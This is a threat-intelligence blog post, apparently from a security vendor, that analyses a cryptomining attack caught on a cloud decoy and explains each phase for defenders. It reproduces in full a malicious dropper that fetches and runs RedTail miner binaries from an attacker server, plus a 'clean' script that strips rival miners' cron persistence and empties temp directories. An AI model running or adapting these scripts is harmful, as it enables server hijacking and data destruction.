Uncovering a Crypto Turfwar with Cloud Decoys

#Technical Background on Intel Collection

#Background

Internet-facing assets are an increasingly popular exploitation vector for all varieties of threat actors, ranging from cryptominers to ransomware crews. A big reason is availability; by some estimates there are between 2-4 billion assets on the internet with IP addresses. That leaves for a lot of room to spray exploits in the hope of catching some fish.

Moreso, many popular internet-facing software and hardware solutions have had critical vulnerabilities during 2024. Solutions such as Ivanti’s Remote Access VPN and Atlassian Confluence both had critical remote code execution flaws, making it practically trivial for a threat actor to gain access to these devices.

#Anatomy of the Incident

A Defused customer running a decoy mimicking an “online collaboration application” on their cloud infrastructure detected a threat actor exploiting a critical vulnerability on the decoy, leading to remote code execution. In more layman terms, this vulnerability allows attackers to send a specifically crafted file to the vulnerable application into which they can embed their own commands into. The vulnerability in question involves the application treating these commands as legitimate and running them.

In this incident, embedded into the attackers command was a payload that downloaded and executed a file from the attackers server. At the time of execution, less than 5% of the vendors listed on Virustotal ranked the IP address as malicious.

#The Malicious File

#!/bin/bash

dlr() {
  wget http:// xxx.xxx.xx.xx/$1 || curl -O http:// xxx.xxx.xx.xx/$1
  if [ $? -ne 0 ]; then
    exec 3<>"/dev/tcp/xxx.xxx.xx.xx/80"
    echo -e "GET /$1 HTTP/1.0\r\nHost: xxx.xxx.xx.xx\r\n\r\n" >&3
    (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
    exec 3>&-
  fi
}

NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""

for dir in $NOEXEC_DIRS; do
  EXCLUDE="${EXCLUDE} -not -path "$dir" -not -path "$dir/*""
done

FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path "/tmp/*" -not -path "/proc/*" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true

for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    break
  fi
done

dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean

rm -rf .redtail
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr x86_64
  mv x86_64 .redtail
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr i686
  mv i686 .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr aarch64
  mv aarch64 .redtail
elif echo "$ARCH" | grep -q "armv7"; then
  dlr arm7
  mv arm7 .redtail
else
  OK=false
  for a in x86_64 i686 aarch64 arm7; do
    dlr $a
    cat $a >.redtail
    chmod +x .redtail
    ./.redtail $1 >/dev/null 2>&1
    rm -rf $a
  done
fi

if [ $OK = true ]; then
  chmod +x .redtail
  ./.redtail $1 >/dev/null 2>&1
fi

The malicious file had a number of functions in it, summarized below:

• Download Function (`dlr`):
  • Attempts to download a file from a specific IP address using wget or curl.
  • If both methods fail, it establishes a direct TCP connection to retrieve the file manually.
• Identify No-Execute Directories:
  • Finds directories where executing files is not allowed (marked as noexec).
  • Prepares these directories to be excluded from future operations.
• Find Writable Folders:
  • Searches the system for directories that the current user can read, write, and execute.
  • Excludes sensitive system directories like /tmp and /proc.
• Test Write Permissions:
  • Attempts to create and write temporary files in the identified writable directories.
  • Verifies that the script has the necessary permissions to operate in these locations.
• Download and Execute `clean` Script:
  • Downloads a script named clean from the specified server.
  • Makes the clean script executable and runs it silently.
  • Deletes the clean script after execution.
• Handle `.redtail` File Based on Architecture:
  • Determines the system's architecture (e.g., x86_64, i686, aarch64, arm7).
  • Downloads the corresponding binary file for the detected architecture.
  • Renames the downloaded binary to .redtail.
• Execute `.redtail` Binary:
  • Makes the .redtail binary executable.
  • Runs the .redtail binary with a specified argument, suppressing all output.

The script lifecycle has roughly three phases: preparation, cleanup and execution.

#Preparation phase

The downloaded script begins by defining a function to download files from a specific server using tools like wget and curl. It then scans the system to identify directories where executing files is prohibited (marked as noexec) and excludes these from its operations.

Next, the script searches for directories that the current user has full read, write, and execute permissions on, while excluding sensitive system directories such as /tmp and /proc. To ensure it can operate effectively, the script tests these writable directories by attempting to create and modify temporary files. This preparation phase sets up the necessary environment for the script to perform its subsequent actions.

#Cleanup phase

This is where the story takes a slightly comical turn. Another wget call gets made, this time to a file named “clean”.

#!/bin/bash

clean_crontab() {
  chattr -ia "$1"
  grep -vE 'wget|curl|/dev/tcp|/tmp|.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
  mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done

for system_cron in /etc/crontab /etc/crontabs; do
  [ -f "$system_cron" ] && clean_crontab "$system_cron"
done

for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
  chattr -ia "$dir"
  for system_cron in "$dir"/*; do
    [ -f "$system_cron" ] && clean_crontab "$system_cron"
  done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
  rm -rf $i/*
done

Initially, one might be predisposed to think this is a evidence wipe-up script. The downloaded file indeed does have cleanup functions to clean up any evidence the system has been compromised, but it is for a different purpose.

The clean_crontab function is designed to sanitize crontab files by removing unwanted entries. It begins by removing the immutable and append-only attributes from the specified crontab file using chattr -ia, allowing modifications.

The function then filters out any lines containing the commands used in the initial script, such as wget, curl, /dev/tcp, shell scripts, netcat (nc), interactive shells bash -i or sh -i, and encoded commands using base64 -d. These filtered lines are written to a temporary file, which then replaces the original crontab file, effectively cleaning it of the harmful entries.

Additionally, the script disables and stops the c3pool_miner service using systemctl disable c3pool_miner and systemctl stop c3pool_miner.

We can now see the clean function is not for cleaning up evidence of this attack, but rather to wipe out any existing cryptomining software and remove persistence measures the previous break-in would have set up - that’s a good bit of functionality built up just for ensuring a competing cryptominer isn’t stealing bandwidth from the breached server!

#Execution phase

The final phase executes on the ultimate goal of the attack. The script proceeds to handle the .redtail file based on the system’s architecture. It first determines the architecture of the machine (such as x86_64, i686, aarch64, or arm7) and downloads the corresponding binary from a specified server. The downloaded binary is then renamed to .redtail. If the architecture does not match any of the predefined types, the script attempts to download multiple binaries, combines them into a single .redtail file, makes it executable, and runs it. Finally, if a suitable architecture-specific binary was successfully handled, the script ensures that .redtail is executable and runs it silently in the background. This approach allows the script to deploy and execute a tailored payload that is compatible with the underlying system architecture, ensuring effective operation across different environments.

redtail is also a coinminer, used to leverage the infected party’s computing resources to mine cryptocurrency for the attacker party.

Summarizing

Whilst this threat story has a humarous clang to it, it also provides a good visualization of the value of gathering intelligence, and how it can expand your understanding rather substantially on threat actor motives.

Whilst a critical vulnerability being exploited is always a serious event, a coinminer operation - in most cases - has far less severe repercussions than, say, a ransomware operator gaining access into your asset internals.

The indicators above could now be used as part of threat hunting to see if any legitimate servers would have been targetted and infected by the same attack vector.

#Defused Starter

The above data was collected via Defused’s Attacker Engagement module - a sandbox run alongside decoys, enabling live, automated intel collection from attacks.

Attacker Engagement is a Tactical and above level functionality.

Check out our free offerings by signing up for Defused Starter.